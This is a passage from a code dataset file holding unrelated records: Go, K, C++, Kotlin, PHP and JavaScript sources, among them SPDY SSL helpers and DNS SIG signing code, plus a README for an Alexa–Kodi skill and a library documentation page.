value in a list\n\t\t\titem.Val = &legacyast.ObjectType{\n\t\t\t\tList: &legacyast.ObjectList{\n\t\t\t\t\tItems: []*legacyast.ObjectItem{\n\t\t\t\t\t\t&legacyast.ObjectItem{\n\t\t\t\t\t\t\tKeys: []*legacyast.ObjectKey{key},\n\t\t\t\t\t\t\tVal: item.Val,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t}\n}\n"} +{"text": "// Copyright (c) 2014-2019 K Team. All Rights Reserved.\nmodule TEST [Location(#token(\"3\",Int),#token(\"1\",Int),#token(\"6\",Int),#token(\"9\",Int)) Source(#token(\"src/test/resources/convertor-tests/userListNonEmpty.k\",KString))]\n syntax Stxs ::= Stx \",\" Stxs [Location(#token(\"5\",Int),#token(\"19\",Int),#token(\"5\",Int),#token(\"33\",Int)) Source(#token(\"src/test/resources/convertor-tests/userListNonEmpty.k\",KString)) klabel(#token(\"_,_\",KString)) right() userList(#token(\"+\",KString))]\n syntax Stxs ::= \".Stxs\" [Location(#token(\"5\",Int),#token(\"19\",Int),#token(\"5\",Int),#token(\"33\",Int)) Source(#token(\"src/test/resources/convertor-tests/userListNonEmpty.k\",KString)) klabel(#token(\".List{\\\"_,_\\\"}\",KString)) userList(#token(\"+\",KString))]\n syntax Stx ::= \"1\" [Location(#token(\"4\",Int),#token(\"18\",Int),#token(\"4\",Int),#token(\"20\",Int)) Source(#token(\"src/test/resources/convertor-tests/userListNonEmpty.k\",KString)) klabel(#token(\"1\",KString))]\nendmodule\n"} +{"text": "# Kanzi: Alexa Integration With Kodi\n\n[![Build Status](https://travis-ci.org/m0ngr31/kanzi.svg?branch=master)](https://travis-ci.org/m0ngr31/kanzi)\n\n

    \n \n

    \n\n## Documentation\nVisit the [documentation here](https://lexigr.am) to learn how to setup this skill.\n\n## About\nThis is a skill for Amazon Alexa that allows you to control one or more instances of [Kodi](https://kodi.tv) with your voice.\n\nThe process of setting up the skill may seem daunting at first, but the reward -- we feel -- is well worth the effort. If you carefully follow the directions to the tee, you might find it is not as complicated as it seems.\n\nUnfortunately, as of this moment, we cannot simply ship this skill normally as other skills on Amazon's skill marketplace. The main technical hurdle is that some features we would need are currently only supported in the US region. Beyond that, there is the consideration of cost for hosting the skill and the associated database backend. Do try to keep in mind that this is a hobby project for the developers -- we do not get paid in any way.\n\nHowever, we have made every effort to here to provide clear and concise documentation to allow you to make use of this skill now.\n\n### Supported Commands\nMost everything you can do with a remote or keyboard is supported in the skill, and more:\n\n- Basic navigation (Up/Down, Left/Right, Page Up/Down, Select, Back, Menu, Zoom, Rotate, Move)\n- Open library views (Movies, Shows, Music, Artists, Albums, Music Videos, Playlists)\n- Open library views by genre (Movies, Shows, Music, Music Videos)\n- Open recently added playlists (Movies, Episodes, Albums, Music Videos)\n- Playback control (Play/Pause, Skip, Previous, Stop, Step/Jump)\n- Adjust volume\n- Shuffle all music by an artist\n- Play/Shuffle specific album\n- Play/Shuffle the latest album by an artist\n- Play a specific song\n- Play/Shuffle audio and video playlists\n- \"Party mode\" for music (shuffle all)\n- Play/Shuffle music videos\n- Play/Shuffle music videos from a specific genre\n- Play/Shuffle music videos by a specific artist\n- Shuffle all episodes of a TV show\n- Play random TV show\n- Play random TV show from a specific genre\n- Play random episode of a specific TV show\n- Play specific episode of a TV show ('Play season 4 episode 10 of The Office')\n- Play random movie\n- Play random movie from a specific genre\n- Play specific movie\n- Play trailer for a movie in your library (**requires plugin.video.youtube addon**)\n- Play random music video\n- Play random music video from a specific genre\n- Continue watching next episode of last show that was watched\n- Play next episode of a show\n- Play newest episode of a show\n- Recommend media to watch/listen to\n- List/Play recently added media\n- List available albums by an artist\n- Clean/Update video and audio sources\n- \"What's playing?\" functionality for music, movies, and shows\n- Report time remaining on current media and when it will end\n- Cycle through audio and subtitle streams\n- Search for something in your library (**requires script.globalsearch addon**)\n- Execute addons\n- Shutdown/reboot/sleep/hibernate system\n- Toggle fullscreen\n- Eject media\n\nInstead of providing the exact verbiage here for each command, we strive to make the experience as natural as we can. Simply try asking for what you want in a way that feels _right_ to you. If a particular phrase doesn't work and you think it should, see [Getting Help](#getting-help) to notify us and we will see what we can do to accommodate the phrase you prefer.\n\n### Kanzi in Action\n

    \n \n \n \n

    \n\n

    \n \n \n \n

    \n\n## Getting Help\nIf you need help getting a server going or configuring the Skill, please visit the [support thread on the Kodi forum](http://forum.kodi.tv/showthread.php?tid=254502).\n\nIf you run into an actual issue with the code, please open an Issue here on Github; however, most issues you might run into will be a result of the complexity of the installation, so we urge you to first search the [support thread](http://forum.kodi.tv/showthread.php?tid=254502) for your issue. If you cannot find a resolution for your issue with a search, post there and someone will help you determine if your problem lies within the skill code or your particular configuration.\n\n## Contributors\nI would like to thank and name all the contributors who have donated their precious time and talents to improving this skill:\n - [ausweider](https://github.com/ausweider)\n - [digiltd](https://github.com/digiltd)\n - [ghlynch](https://github.com/ghlynch)\n - [jagsta](https://github.com/jagsta)\n - [jingai](https://github.com/jingai)\n - [kuruoujou](https://github.com/kuruoujou)\n - [m0ngr31](https://github.com/m0ngr31)\n - [mcl22](https://github.com/mcl22)\n - [nemik](https://github.com/nemik)\n - [ruben0909](https://github.com/ruben0909)\n\n## Donate\n[![Buy Me A Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/lexigram)\n\n## Developer Discussion\nIf you're interested in chatting with us about the development of the skill, we are on [Slack](https://lexigram-slack.herokuapp.com/)."} +{"text": "\n\n\n\n\n\n0.9.8: OpenGL Mathematics\n\n\n\n\n\n\n
    \n
    \n\n \n \n \n \n \n \n
    \"Logo\"\n
    0.9.8\n
    \n
    \n
    \n\n\n
    \n \n
    \n
    \n
    \n
    \n
    OpenGL Mathematics
    \n
    \n
    \n

    OpenGL Mathematics (GLM) is a header only C++ mathematics library for graphics software based on the OpenGL Shading Language (GLSL) specification.

    \n

    GLM provides classes and functions designed and implemented with the same naming conventions and functionalities than GLSL so that when a programmer knows GLSL, he knows GLM as well which makes it really easy to use.

    \n

    This project isn't limited to GLSL features. An extension system, based on the GLSL extension conventions, provides extended capabilities: matrix transformations, quaternions, half-based types, random numbers, noise, etc...

    \n

    This library works perfectly with OpenGL but it also ensures interoperability with other third party libraries and SDK. It is a good candidate for software rendering (raytracing / rasterisation), image processing, physic simulations and any development context that requires a simple and convenient mathematics library.

    \n

    GLM is written in C++98 but can take advantage of C++11 when supported by the compiler. It is a platform independent library with no dependence and it officially supports the following compilers:

    \n
    Note
    The Doxygen-generated documentation will often state that a type or function is defined in a namespace that is a child of the glm namespace. Please ignore this; All publicly available types and functions can be accessed as a direct children of the glm namespace.
    \n

    The source code is licensed under the Happy Bunny License (Modified MIT) and MIT license.

    \n

    These pages are the API reference only. For more information about how to use GLM, please have a look at the manual.

    \n

    Thanks for contributing to the project by submitting tickets for bug reports and feature requests. Any feedback is welcome at glm@g.nosp@m.-tru.nosp@m.c.net.

    \n
    \n\n
    \nGenerated by  \n\"doxygen\"/\n 1.8.10\n
    \n\n\n"} +{"text": "getNumber()\n );\n\n$action = $info['action'] ?: ('#tasks/'.$task->getId().'/edit');\n\n$namespace = sprintf('task.%d.edit', $task->getId());\n\n?>\n
    \n

    \n\n
    \n%s

    ', $info['error']);\n} elseif ($info['warning']) {\n echo sprintf('

    %s

    ', $info['warning']);\n} elseif ($info['msg']) {\n echo sprintf('

    %s

    ', $info['msg']);\n} ?>\n
    \n
    \">\n
    \n addMissingFields();\n echo $form->getForm(false, array('mode' => 'edit'))->asTable(\n __('Task Information'),\n array(\n 'draft-namespace' => $namespace,\n )\n );\n }\n }\n ?>\n
    \n
    :\n  
    \n
    \n \n
    \n
    \n

    \n \n \">\n \">\n \n \n \">\n \n

    \n
    \n
    \n
    \n
    \n"} +{"text": "sat\n"} +{"text": "/*\n * Spdylay - SPDY Library\n *\n * Copyright (c) 2012 Tatsuhiro Tsujikawa\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"spdylay_ssl.h\"\n\nnamespace spdylay {\n\nbool ssl_debug = false;\n\nSpdylay::Spdylay(int fd, SSL *ssl, uint16_t version,\n const spdylay_session_callbacks *callbacks)\n : fd_(fd), ssl_(ssl), version_(version), want_write_(false)\n{\n int r = spdylay_session_client_new(&session_, version_, callbacks, this);\n assert(r == 0);\n}\n\nSpdylay::~Spdylay()\n{\n spdylay_session_del(session_);\n}\n\nint Spdylay::recv()\n{\n return spdylay_session_recv(session_);\n}\n\nint Spdylay::send()\n{\n return spdylay_session_send(session_);\n}\n\nssize_t Spdylay::send_data(const uint8_t *data, size_t len, int flags)\n{\n ssize_t r;\n r = SSL_write(ssl_, data, len);\n return r;\n}\n\nssize_t Spdylay::recv_data(uint8_t *data, size_t len, int flags)\n{\n ssize_t r;\n want_write_ = false;\n r = SSL_read(ssl_, data, len);\n if(r < 0) {\n if(SSL_get_error(ssl_, r) == SSL_ERROR_WANT_WRITE) {\n want_write_ = true;\n }\n }\n return r;\n}\n\nbool Spdylay::want_read()\n{\n return spdylay_session_want_read(session_);\n}\n\nbool Spdylay::want_write()\n{\n return spdylay_session_want_write(session_) || want_write_;\n}\n\nint Spdylay::fd() const\n{\n return fd_;\n}\n\nint Spdylay::submit_request(const std::string& hostport,\n const std::string& path, uint8_t pri,\n void *stream_user_data)\n{\n const char *nv[] = {\n \":method\", \"GET\",\n \":path\", path.c_str(),\n \":version\", \"HTTP/1.1\",\n \":scheme\", \"https\",\n \":host\", hostport.c_str(),\n \"accept\", \"*/*\",\n \"user-agent\", \"spdylay/\"SPDYLAY_VERSION,\n NULL\n };\n return spdylay_submit_request(session_, pri, nv, NULL, stream_user_data);\n}\n\nbool Spdylay::would_block(int r)\n{\n int e = SSL_get_error(ssl_, r);\n return e == SSL_ERROR_WANT_WRITE || e == SSL_ERROR_WANT_READ;\n}\n\nint connect_to(const std::string& host, uint16_t port)\n{\n struct addrinfo hints;\n int fd = -1;\n int r;\n char service[10];\n snprintf(service, sizeof(service), \"%u\", port);\n memset(&hints, 0, sizeof(struct addrinfo));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n struct addrinfo *res;\n r = getaddrinfo(host.c_str(), service, &hints, &res);\n if(r != 0) {\n std::cerr << \"getaddrinfo: \" << gai_strerror(r) << std::endl;\n return -1;\n }\n for(struct addrinfo *rp = res; rp; rp = rp->ai_next) {\n fd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n if(fd == -1) {\n continue;\n }\n while((r = connect(fd, rp->ai_addr, rp->ai_addrlen)) == -1 &&\n errno == EINTR);\n if(r == 0) {\n break;\n }\n close(fd);\n fd = -1;\n }\n freeaddrinfo(res);\n return fd;\n}\n\nint make_listen_socket(const std::string& host, uint16_t port, int family)\n{\n addrinfo hints;\n int fd = -1;\n int r;\n char service[10];\n snprintf(service, sizeof(service), \"%u\", port);\n memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = family;\n hints.ai_socktype = SOCK_STREAM;\n hints.ai_flags = AI_PASSIVE;\n#ifdef AI_ADDRCONFIG\n hints.ai_flags |= AI_ADDRCONFIG;\n#endif // AI_ADDRCONFIG\n addrinfo *res, *rp;\n const char* host_ptr;\n if(host.empty()) {\n host_ptr = 0;\n } else {\n host_ptr = host.c_str();\n }\n r = getaddrinfo(host_ptr, service, &hints, &res);\n if(r != 0) {\n std::cerr << \"getaddrinfo: \" << gai_strerror(r) << std::endl;\n return -1;\n }\n for(rp = res; rp; rp = rp->ai_next) {\n fd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n if(fd == -1) {\n continue;\n }\n int val = 1;\n if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &val,\n static_cast(sizeof(val))) == -1) {\n close(fd);\n continue;\n }\n#ifdef IPV6_V6ONLY\n if(family == AF_INET6) {\n if(setsockopt(fd, IPPROTO_IPV6, IPV6_V6ONLY, &val,\n static_cast(sizeof(val))) == -1) {\n close(fd);\n continue;\n }\n }\n#endif // IPV6_V6ONLY\n\n if(bind(fd, rp->ai_addr, rp->ai_addrlen) == 0) {\n break;\n }\n close(fd);\n }\n freeaddrinfo(res);\n if(rp == 0) {\n return -1;\n } else {\n if(listen(fd, 16) == -1) {\n close(fd);\n return -1;\n } else {\n return fd;\n }\n }\n}\n\nint make_non_block(int fd)\n{\n int flags, r;\n while((flags = fcntl(fd, F_GETFL, 0)) == -1 && errno == EINTR);\n if(flags == -1) {\n return -1;\n }\n while((r = fcntl(fd, F_SETFL, flags | O_NONBLOCK)) == -1 && errno == EINTR);\n if(r == -1) {\n return -1;\n }\n return 0;\n}\n\nint set_tcp_nodelay(int fd)\n{\n int val = 1;\n return setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &val, (socklen_t)sizeof(val));\n}\n\nssize_t send_callback(spdylay_session *session,\n const uint8_t *data, size_t len, int flags,\n void *user_data)\n{\n Spdylay *sc = (Spdylay*)user_data;\n ssize_t r = sc->send_data(data, len, flags);\n if(r < 0) {\n if(sc->would_block(r)) {\n r = SPDYLAY_ERR_WOULDBLOCK;\n } else {\n r = SPDYLAY_ERR_CALLBACK_FAILURE;\n }\n }\n return r;\n}\n\nssize_t recv_callback(spdylay_session *session,\n uint8_t *data, size_t len, int flags, void *user_data)\n{\n Spdylay *sc = (Spdylay*)user_data;\n ssize_t r = sc->recv_data(data, len, flags);\n if(r < 0) {\n if(sc->would_block(r)) {\n r = SPDYLAY_ERR_WOULDBLOCK;\n } else {\n r = SPDYLAY_ERR_CALLBACK_FAILURE;\n }\n } else if(r == 0) {\n r = SPDYLAY_ERR_CALLBACK_FAILURE;\n }\n return r;\n}\n\nnamespace {\nconst char *ctrl_names[] = {\n \"SYN_STREAM\",\n \"SYN_REPLY\",\n \"RST_STREAM\",\n \"SETTINGS\",\n \"NOOP\",\n \"PING\",\n \"GOAWAY\",\n \"HEADERS\",\n \"WINDOW_UPDATE\"\n};\n} // namespace\n\nnamespace {\nvoid print_frame_attr_indent()\n{\n printf(\" \");\n}\n} // namespace\n\nvoid print_nv(char **nv)\n{\n int i;\n for(i = 0; nv[i]; i += 2) {\n print_frame_attr_indent();\n printf(\"%s: %s\\n\", nv[i], nv[i+1]);\n }\n}\n\nvoid print_timer()\n{\n timeval tv;\n get_timer(&tv);\n printf(\"[%3ld.%03ld]\", tv.tv_sec, tv.tv_usec/1000);\n}\n\nnamespace {\nvoid print_ctrl_hd(const spdylay_ctrl_hd& hd)\n{\n printf(\"\\n\",\n hd.version, hd.flags, hd.length);\n}\n} // namespace\n\nnamespace {\nvoid print_frame(spdylay_frame_type type, spdylay_frame *frame)\n{\n printf(\"%s frame \", ctrl_names[type-1]);\n print_ctrl_hd(frame->syn_stream.hd);\n switch(type) {\n case SPDYLAY_SYN_STREAM:\n print_frame_attr_indent();\n printf(\"(stream_id=%d, assoc_stream_id=%d, pri=%u)\\n\",\n frame->syn_stream.stream_id, frame->syn_stream.assoc_stream_id,\n frame->syn_stream.pri);\n print_nv(frame->syn_stream.nv);\n break;\n case SPDYLAY_SYN_REPLY:\n print_frame_attr_indent();\n printf(\"(stream_id=%d)\\n\", frame->syn_reply.stream_id);\n print_nv(frame->syn_reply.nv);\n break;\n case SPDYLAY_RST_STREAM:\n print_frame_attr_indent();\n printf(\"(stream_id=%d, status_code=%u)\\n\",\n frame->rst_stream.stream_id, frame->rst_stream.status_code);\n break;\n case SPDYLAY_SETTINGS:\n print_frame_attr_indent();\n printf(\"(niv=%lu)\\n\", static_cast(frame->settings.niv));\n for(size_t i = 0; i < frame->settings.niv; ++i) {\n print_frame_attr_indent();\n printf(\"[%d(%u):%u]\\n\",\n frame->settings.iv[i].settings_id,\n frame->settings.iv[i].flags, frame->settings.iv[i].value);\n }\n break;\n case SPDYLAY_PING:\n print_frame_attr_indent();\n printf(\"(unique_id=%d)\\n\", frame->ping.unique_id);\n break;\n case SPDYLAY_GOAWAY:\n print_frame_attr_indent();\n printf(\"(last_good_stream_id=%d)\\n\", frame->goaway.last_good_stream_id);\n break;\n case SPDYLAY_HEADERS:\n print_frame_attr_indent();\n printf(\"(stream_id=%d)\\n\", frame->headers.stream_id);\n print_nv(frame->headers.nv);\n break;\n case SPDYLAY_WINDOW_UPDATE:\n print_frame_attr_indent();\n printf(\"(stream_id=%d, delta_window_size=%d)\\n\",\n frame->window_update.stream_id,\n frame->window_update.delta_window_size);\n break;\n default:\n printf(\"\\n\");\n break;\n }\n}\n} // namespace\n\nvoid on_ctrl_recv_callback\n(spdylay_session *session, spdylay_frame_type type, spdylay_frame *frame,\n void *user_data)\n{\n print_timer();\n printf(\" recv \");\n print_frame(type, frame);\n fflush(stdout);\n}\n\nvoid on_ctrl_send_callback\n(spdylay_session *session, spdylay_frame_type type, spdylay_frame *frame,\n void *user_data)\n{\n print_timer();\n printf(\" send \");\n print_frame(type, frame);\n fflush(stdout);\n}\n\nnamespace {\nvoid print_data_frame(uint8_t flags, int32_t stream_id, int32_t length)\n{\n printf(\"DATA frame (stream_id=%d, flags=%d, length=%d)\\n\",\n stream_id, flags, length);\n}\n} // namespace\n\nvoid on_data_recv_callback\n(spdylay_session *session, uint8_t flags, int32_t stream_id, int32_t length,\n void *user_data)\n{\n print_timer();\n printf(\" recv \");\n print_data_frame(flags, stream_id, length);\n fflush(stdout);\n}\n\nvoid on_data_send_callback\n(spdylay_session *session, uint8_t flags, int32_t stream_id, int32_t length,\n void *user_data)\n{\n print_timer();\n printf(\" send \");\n print_data_frame(flags, stream_id, length);\n fflush(stdout);\n}\n\nvoid ctl_poll(pollfd *pollfd, Spdylay *sc)\n{\n pollfd->events = 0;\n if(sc->want_read()) {\n pollfd->events |= POLLIN;\n }\n if(sc->want_write()) {\n pollfd->events |= POLLOUT;\n }\n}\n\nint select_next_proto_cb(SSL* ssl,\n unsigned char **out, unsigned char *outlen,\n const unsigned char *in, unsigned int inlen,\n void *arg)\n{\n if(ssl_debug) {\n print_timer();\n std::cout << \" NPN select next protocol: the remote server offers:\"\n << std::endl;\n }\n for(unsigned int i = 0; i < inlen; i += in[i]+1) {\n if(ssl_debug) {\n std::cout << \" * \";\n std::cout.write(reinterpret_cast(&in[i+1]), in[i]);\n std::cout << std::endl;\n }\n }\n std::string& next_proto = *(std::string*)arg;\n if(next_proto.empty()) {\n if(spdylay_select_next_protocol(out, outlen, in, inlen) <= 0) {\n std::cerr << \"Server did not advertise spdy/2 or spdy/3 protocol.\"\n << std::endl;\n abort();\n } else {\n next_proto.assign(&(*out)[0], &(*out)[*outlen]);\n }\n } else {\n *out = (unsigned char*)(next_proto.c_str());\n *outlen = next_proto.size();\n }\n if(ssl_debug) {\n std::cout << \" NPN selected the protocol: \"\n << std::string((const char*)*out, (size_t)*outlen) << std::endl;\n }\n return SSL_TLSEXT_ERR_OK;\n}\n\nvoid setup_ssl_ctx(SSL_CTX *ssl_ctx, void *next_proto_select_cb_arg)\n{\n /* Disable SSLv2 and enable all workarounds for buggy servers */\n SSL_CTX_set_options(ssl_ctx, SSL_OP_ALL|SSL_OP_NO_SSLv2);\n SSL_CTX_set_mode(ssl_ctx, SSL_MODE_AUTO_RETRY);\n SSL_CTX_set_mode(ssl_ctx, SSL_MODE_RELEASE_BUFFERS);\n SSL_CTX_set_next_proto_select_cb(ssl_ctx, select_next_proto_cb,\n next_proto_select_cb_arg);\n}\n\nint ssl_handshake(SSL *ssl, int fd)\n{\n if(SSL_set_fd(ssl, fd) == 0) {\n std::cerr << ERR_error_string(ERR_get_error(), 0) << std::endl;\n return -1;\n }\n int r = SSL_connect(ssl);\n if(r <= 0) {\n std::cerr << ERR_error_string(ERR_get_error(), 0) << std::endl;\n return -1;\n }\n return 0;\n}\n\nnamespace {\ntimeval base_tv;\n} // namespace\n\nvoid reset_timer()\n{\n gettimeofday(&base_tv, 0);\n}\n\nvoid get_timer(timeval* tv)\n{\n gettimeofday(tv, 0);\n tv->tv_usec -= base_tv.tv_usec;\n tv->tv_sec -= base_tv.tv_sec;\n if(tv->tv_usec < 0) {\n tv->tv_usec += 1000000;\n --tv->tv_sec;\n }\n}\n\n} // namespace spdylay\n"} +{"text": "package dns\n\nimport (\n\t\"crypto\"\n\t\"crypto/dsa\"\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"encoding/binary\"\n\t\"math/big\"\n\t\"strings\"\n\t\"time\"\n)\n\n// Sign signs a dns.Msg. It fills the signature with the appropriate data.\n// The SIG record should have the SignerName, KeyTag, Algorithm, Inception\n// and Expiration set.\nfunc (rr *SIG) Sign(k crypto.Signer, m *Msg) ([]byte, error) {\n\tif k == nil {\n\t\treturn nil, ErrPrivKey\n\t}\n\tif rr.KeyTag == 0 || len(rr.SignerName) == 0 || rr.Algorithm == 0 {\n\t\treturn nil, ErrKey\n\t}\n\n\trr.Hdr = RR_Header{Name: \".\", Rrtype: TypeSIG, Class: ClassANY, Ttl: 0}\n\trr.OrigTtl, rr.TypeCovered, rr.Labels = 0, 0, 0\n\n\tbuf := make([]byte, m.Len()+Len(rr))\n\tmbuf, err := m.PackBuffer(buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif &buf[0] != &mbuf[0] {\n\t\treturn nil, ErrBuf\n\t}\n\toff, err := PackRR(rr, buf, len(mbuf), nil, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf = buf[:off:cap(buf)]\n\n\thash, ok := AlgorithmToHash[rr.Algorithm]\n\tif !ok {\n\t\treturn nil, ErrAlg\n\t}\n\n\thasher := hash.New()\n\t// Write SIG rdata\n\thasher.Write(buf[len(mbuf)+1+2+2+4+2:])\n\t// Write message\n\thasher.Write(buf[:len(mbuf)])\n\n\tsignature, err := sign(k, hasher.Sum(nil), hash, rr.Algorithm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trr.Signature = toBase64(signature)\n\n\tbuf = append(buf, signature...)\n\tif len(buf) > int(^uint16(0)) {\n\t\treturn nil, ErrBuf\n\t}\n\t// Adjust sig data length\n\trdoff := len(mbuf) + 1 + 2 + 2 + 4\n\trdlen := binary.BigEndian.Uint16(buf[rdoff:])\n\trdlen += uint16(len(signature))\n\tbinary.BigEndian.PutUint16(buf[rdoff:], rdlen)\n\t// Adjust additional count\n\tadc := binary.BigEndian.Uint16(buf[10:])\n\tadc++\n\tbinary.BigEndian.PutUint16(buf[10:], adc)\n\treturn buf, nil\n}\n\n// Verify validates the message buf using the key k.\n// It's assumed that buf is a valid message from which rr was unpacked.\nfunc (rr *SIG) Verify(k *KEY, buf []byte) error {\n\tif k == nil {\n\t\treturn ErrKey\n\t}\n\tif rr.KeyTag == 0 || len(rr.SignerName) == 0 || rr.Algorithm == 0 {\n\t\treturn ErrKey\n\t}\n\n\tvar hash crypto.Hash\n\tswitch rr.Algorithm {\n\tcase DSA, RSASHA1:\n\t\thash = crypto.SHA1\n\tcase RSASHA256, ECDSAP256SHA256:\n\t\thash = crypto.SHA256\n\tcase ECDSAP384SHA384:\n\t\thash = crypto.SHA384\n\tcase RSASHA512:\n\t\thash = crypto.SHA512\n\tdefault:\n\t\treturn ErrAlg\n\t}\n\thasher := hash.New()\n\n\tbuflen := len(buf)\n\tqdc := binary.BigEndian.Uint16(buf[4:])\n\tanc := binary.BigEndian.Uint16(buf[6:])\n\tauc := binary.BigEndian.Uint16(buf[8:])\n\tadc := binary.BigEndian.Uint16(buf[10:])\n\toffset := headerSize\n\tvar err error\n\tfor i := uint16(0); i < qdc && offset < buflen; i++ {\n\t\t_, offset, err = UnpackDomainName(buf, offset)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Skip past Type and Class\n\t\toffset += 2 + 2\n\t}\n\tfor i := uint16(1); i < anc+auc+adc && offset < buflen; i++ {\n\t\t_, offset, err = UnpackDomainName(buf, offset)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Skip past Type, Class and TTL\n\t\toffset += 2 + 2 + 4\n\t\tif offset+1 >= buflen {\n\t\t\tcontinue\n\t\t}\n\t\trdlen := binary.BigEndian.Uint16(buf[offset:])\n\t\toffset += 2\n\t\toffset += int(rdlen)\n\t}\n\tif offset >= buflen {\n\t\treturn &Error{err: \"overflowing unpacking signed message\"}\n\t}\n\n\t// offset should be just prior to SIG\n\tbodyend := offset\n\t// owner name SHOULD be root\n\t_, offset, err = UnpackDomainName(buf, offset)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Skip Type, Class, TTL, RDLen\n\toffset += 2 + 2 + 4 + 2\n\tsigstart := offset\n\t// Skip Type Covered, Algorithm, Labels, Original TTL\n\toffset += 2 + 1 + 1 + 4\n\tif offset+4+4 >= buflen {\n\t\treturn &Error{err: \"overflow unpacking signed message\"}\n\t}\n\texpire := binary.BigEndian.Uint32(buf[offset:])\n\toffset += 4\n\tincept := binary.BigEndian.Uint32(buf[offset:])\n\toffset += 4\n\tnow := uint32(time.Now().Unix())\n\tif now < incept || now > expire {\n\t\treturn ErrTime\n\t}\n\t// Skip key tag\n\toffset += 2\n\tvar signername string\n\tsignername, offset, err = UnpackDomainName(buf, offset)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// If key has come from the DNS name compression might\n\t// have mangled the case of the name\n\tif !strings.EqualFold(signername, k.Header().Name) {\n\t\treturn &Error{err: \"signer name doesn't match key name\"}\n\t}\n\tsigend := offset\n\thasher.Write(buf[sigstart:sigend])\n\thasher.Write(buf[:10])\n\thasher.Write([]byte{\n\t\tbyte((adc - 1) << 8),\n\t\tbyte(adc - 1),\n\t})\n\thasher.Write(buf[12:bodyend])\n\n\thashed := hasher.Sum(nil)\n\tsig := buf[sigend:]\n\tswitch k.Algorithm {\n\tcase DSA:\n\t\tpk := k.publicKeyDSA()\n\t\tsig = sig[1:]\n\t\tr := new(big.Int).SetBytes(sig[:len(sig)/2])\n\t\ts := new(big.Int).SetBytes(sig[len(sig)/2:])\n\t\tif pk != nil {\n\t\t\tif dsa.Verify(pk, hashed, r, s) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn ErrSig\n\t\t}\n\tcase RSASHA1, RSASHA256, RSASHA512:\n\t\tpk := k.publicKeyRSA()\n\t\tif pk != nil {\n\t\t\treturn rsa.VerifyPKCS1v15(pk, hash, hashed, sig)\n\t\t}\n\tcase ECDSAP256SHA256, ECDSAP384SHA384:\n\t\tpk := k.publicKeyECDSA()\n\t\tr := new(big.Int).SetBytes(sig[:len(sig)/2])\n\t\ts := new(big.Int).SetBytes(sig[len(sig)/2:])\n\t\tif pk != nil {\n\t\t\tif ecdsa.Verify(pk, hashed, r, s) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn ErrSig\n\t\t}\n\t}\n\treturn ErrKeyAlg\n}\n"} +{"text": "package de.jensklingenberg.mpapt\n\nimport org.gradle.api.provider.Provider\nimport org.jetbrains.kotlin.gradle.plugin.KotlinCompilation\nimport org.jetbrains.kotlin.gradle.plugin.KotlinCompilerPluginSupportPlugin\nimport org.jetbrains.kotlin.gradle.plugin.SubpluginArtifact\nimport org.jetbrains.kotlin.gradle.plugin.SubpluginOption\n\nclass MpAptGradleSubPlugin : KotlinCompilerPluginSupportPlugin {\n\n companion object {\n const val SERIALIZATION_GROUP_NAME = \"de.jensklingenberg\"\n const val ARTIFACT_NAME = \"kotlin-compiler-plugin\"\n const val NATIVE_ARTIFACT_NAME = \"kotlin-compiler-native-plugin\"\n }\n\n override fun applyToCompilation(kotlinCompilation: KotlinCompilation<*>): Provider> {\n val project = kotlinCompilation.target.project\n\n return project.provider {\n val options = mutableListOf()\n options\n }\n }\n\n\n /**\n * Just needs to be consistent with the key for CommandLineProcessor#pluginId\n */\n override fun getCompilerPluginId(): String = \"MpAptPlugin\"\n\n override fun getPluginArtifact(): SubpluginArtifact = SubpluginArtifact(\n groupId = SERIALIZATION_GROUP_NAME,\n artifactId =ARTIFACT_NAME,\n version = \"0.0.1\" // remember to bump this version before any release!\n )\n\n override fun isApplicable(kotlinCompilation: KotlinCompilation<*>): Boolean {\n return true\n }\n\n override fun getPluginArtifactForNative() = SubpluginArtifact(\n groupId = SERIALIZATION_GROUP_NAME,\n artifactId = NATIVE_ARTIFACT_NAME,\n version = \"0.0.1\" // remember to bump this version before any release!\n )\n}\n"} +{"text": "/*global Todos DS */\n'use strict';\n\nTodos.Store = DS.Store.extend({\n\trevision: 12,\n\tadapter: 'Todos.LSAdapter'\n});\n\nTodos.LSAdapter = DS.LSAdapter.extend({\n\tnamespace: 'todos-emberjs'\n});\n"} +{"text": " /* bo6-4.c 